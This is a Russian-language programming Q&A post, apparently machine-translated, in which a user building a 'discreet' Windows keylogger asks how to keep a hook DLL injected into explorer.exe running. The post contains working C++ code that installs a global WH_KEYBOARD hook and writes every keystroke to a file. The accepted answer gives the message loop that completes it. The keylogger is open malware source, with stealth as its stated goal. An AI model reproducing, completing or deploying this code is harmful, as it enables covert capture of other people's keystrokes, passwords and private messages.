Бесконечный цикл в dll вводится на explorer.exe

0

Я пытаюсь создать кейлоггер на Windows 7. Чтобы сделать это, я создал Dll (setHook.dll), который я setHook.dll в новый поток explorer.exe. В этой первой DLL я открываю другую dll, которая содержит функцию (hookfunc), вызываемую на каждом вводе клавиатуры.

Мне нужно, чтобы моя Dll работала в фоновом режиме, потому что, если она умирает, я потерял функцию Hook. Чтобы сделать это, я попытался:

  • Sleep(INFINITE); : работает момент, но explorer.exe crash
  • while(1); в while(1); : работает момент, но explorer.exe crash
  • system("pause"): работает! Но я не хочу, чтобы на экране появлялась консоль, мой кейлоггер должен быть осторожным.
  • getchar(): то же, что и system("pause");
  • system("pause > null"); : доступ закрыт
  • this_thread::sleep_for(chrono::seconds(10)): explorer crash

SetHook.dll:

BOOL WINAPI  DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
    HMODULE dll;
    HOOKPROC addr;
    HHOOK handle;

    if (dwReason != DLL_PROCESS_ATTACH)
        return true;
    if (!(dll = LoadLibraryA("E:\\Projets\\Visual Studio 2013\\Projets\\inject\\x64\\Debug\\inject.dll")))
        return false;
    if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
        return false;
    if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
        return false;
    Sleep(INFINITE); //issue here
    return true;
}

CallbackFunc: (я не думаю, что это может помочь)

LRESULT CALLBACK hookfunc(int code, WPARAM wParam, LPARAM lParam)
{
    std::ofstream file;
    WORD buf = 0;
    BYTE KeyState[256];
    file.open("E:\\function.txt", std::ofstream::out | std::ofstream::app);
    if (code >= 0 && KEYUP(lParam))
    {
        if (wParam == VK_RETURN)
            file << "[ENTER]";
        else
        {
            GetKeyboardState(KeyState);
            ToAscii(wParam, lParam, KeyState, &buf, 0);
            file << (char)buf;
        }
    }
    file.close();
    return (CallNextHookEx(NULL, code, wParam, lParam));
}

Код работает, мне просто нужен сдержанный бесконечный цикл вместо Sleep (INFINITE). Есть идеи?

  • 0
    Вы должны вернуться из DllMain или процесс зависнет. Возврат из DllMain не приводит к выгрузке DLL.
Теги:
dll-injection

1 ответ

2
Лучший ответ

Сон в DllMain - почти наверняка плохая идея.

Я предполагаю, что вы пытаетесь установить глобальный крючок. Для этого вам необходимо запустить цикл сообщений в приложении-инжекторе, например:

while(GetMessage(&msg, NULL, 0, 0 ))
{ 
   TranslateMessage(&msg); 
   DispatchMessage(&msg); 
} 
  • 0
    +1, это верное решение ИМХО
  • 0
    Мое приложение инжектора это Dll. Я вынужден поместить весь этот код в инжектор? Моя цель - не запускать процесс
Показать ещё 5 комментариев

Ещё вопросы

Сообщество Overcoder
Наверх
Меню